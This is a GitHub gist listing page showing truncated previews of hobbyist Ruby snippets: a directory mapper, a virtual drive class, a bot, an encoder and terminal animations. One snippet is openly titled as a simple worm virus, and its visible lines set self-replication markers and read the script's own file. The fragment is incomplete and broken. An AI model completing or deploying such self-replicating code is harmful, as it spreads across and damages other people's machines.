Skip to content

Instantly share code, notes, and snippets.

@thomasjslone
thomasjslone / ossy.rb v2
Last active January 26, 2017 20:01
ossy version w vdr and gmail api
def map_dir(dir)
if File.directory?(dir)
remaining = [dir] ; @found_files = [] ; @file_size = [] ; @found_folders = []
until remaining.length == 0
cur_dir = remaining[0].to_s ; remaining.delete_at(0)
cont = Dir.entries(cur_dir) ; cont.delete(".") ; cont.delete("..")
cont.each do |obj|
if File.file?(cur_dir.to_s + "/" + obj.to_s)
@found_files << cur_dir.to_s + "/" + obj.to_s ; @file_size << File.size?(@found_files[-1])
elsif File.directory?(cur_dir.to_s + "/" + obj.to_s)
@thomasjslone
thomasjslone / vdrive.rb
Last active September 27, 2016 10:35
Improved vdrive template
class Vdrive
def initialize
@data = '55556157616153565359536061576157595558615856585958565862585659535955586158575860585858575857585858575858841905168455556157'
@drive = "v:"
@drives = [@drive]
@files = []
@directories = [@drive]
@kbchars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4","5","6","7","8","9","~","`","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","]","{","}",";",":","\"","'","\\","/","|","?","<",">",",","."," ","\t","\n"]
@chbytes = ["97", "98", "99", "100", "101", "102", "103", "104", "105", "106", "107", "108", "109", "110", "111", "112", "113", "114", "115", "116", "117", "118", "119", "120", "121", "122", "65", "66", "67", "68", "69", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "90", "48", "49", "50",
##334455##
require 'win32old'
begs = "##334" + "455##"
ends = "##556" + "677##"
file_system = WIN32OLE.new("Scripting.FileSystemObject")
d = []
drives = file_system.Drives
drives.each do |drive|
begin
d << "Drive letter: #{drive.DriveLetter}"
@thomasjslone
thomasjslone / bot.rb
Created September 26, 2016 20:19
Super Simple Bot
class Bot
def initialize(tasks,repeat,delay,auto)
@tasks = tasks.to_a ## this should be an array of strings containing ruby code
@delay = delay.to_f ## enter a number of seconds i.e 2.25
@repeat = repeat.to_s ## tells the bot to either stop after the operation or loop it
@main_thread = false
@feedback = [] ## this is where task execution feedback goes so you can see the results of each operation
if auto
start_main
end
@thomasjslone
thomasjslone / list.rb
Created September 17, 2016 00:10
datacase template
class List_Keeper
def initialize
@list = []
@kbchars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4","5","6","7","8","9","~","`","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","]","{","}",";",":","\"","'","\\","/","|","?","<",">",",","."," ","\t","\n"]
@chbytes = []
@kbchars.each { |ch| @chbytes << ch.bytes[0].to_s }
self.load_list
self.shell
end
def load_list
@thomasjslone
thomasjslone / ossy.rb
Last active September 28, 2016 21:49
ossy windows7 version
class Ossy
def initialize()
@vdrive = ''
@log = ""
@app_name = "Ossy"
@app_version = "0.1.9"
@app_release_date = "2016.11.13"
@app_manufacturer = "Thomas Technical"
@app_description = "Ruby Operating Environment"
@thomasjslone
thomasjslone / spawnwormvirus.rb
Created September 14, 2016 01:33
Ruby worm virus at its most simple
##821123##
resdir = C:/Users/House/Desktop/spawnwormvirus.rb
begs = "##821" + "123##
ends = "##964" + "525##
$malicious = false
file = File.open(resdir,"r")
filec = file.read.to_s
file.close
str1 = begs.to_s
str2 = ends.to_s
@thomasjslone
thomasjslone / Nav.rb
Last active June 17, 2016 04:14
Navigator based on dnav.rb app i built months ago, this one can access directories on local host,and urls, its pretty lacking, oh and incomplete, IM NOT DONE YET so dont try to run it or anything, this is just a progress update
##########################################################################################################
## ##
## App Name: Dnav ##
## App Version: 1.0.3 ##
## App Manufacturer: Thomas Technical ##
## Release Date: 2016-5-20 ##
## ##
## Description: ##
## ##
## Navigator can brows directories on the local host or rem
@thomasjslone
thomasjslone / Coder.rb
Last active February 27, 2023 20:19
Coder Basic encoding I pulled out of my ass
class Coder ## basic and somwwhat crude string encoding for text files and program data strings
def initialize
##below is a list of all the characters you can make with a keyboard (excluding windows alt numkey function)
@kbchars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4","5","6","7","8","9","-","+","_","=","[","]","{","}","|","\\","/",":",";",",",".","?","<",">","\"","'","`","~","!","@","#","$","%","^","&","*","(",")","\n","\t"," "]
## if you shuffle the @kbchars variable above, you can make your own encoding keys and pass them to the enc/dec methods
@chbytes = [] ## here we will just convert them to bytes, we want them to all be numbers below 100 and above 0
@kbchars.each { |ch| @chbytes << ch.to_s.bytes[0].to_s } ## there is 97 characters including tabs and line breaks ("\n")
end
def enc(str)
key =
@thomasjslone
thomasjslone / blinker alternate.rb
Created June 11, 2016 18:08
Basic Ruby Terminal Animations, write or print over previously written lines.
@state1 = "O"
@state2 = " "
@canvas = @state1.to_s
@visable = true
@blink = 0.250
blinker = Thread.new { loop do
if @visable
@canvas = @state2.to_s
@visable = false
else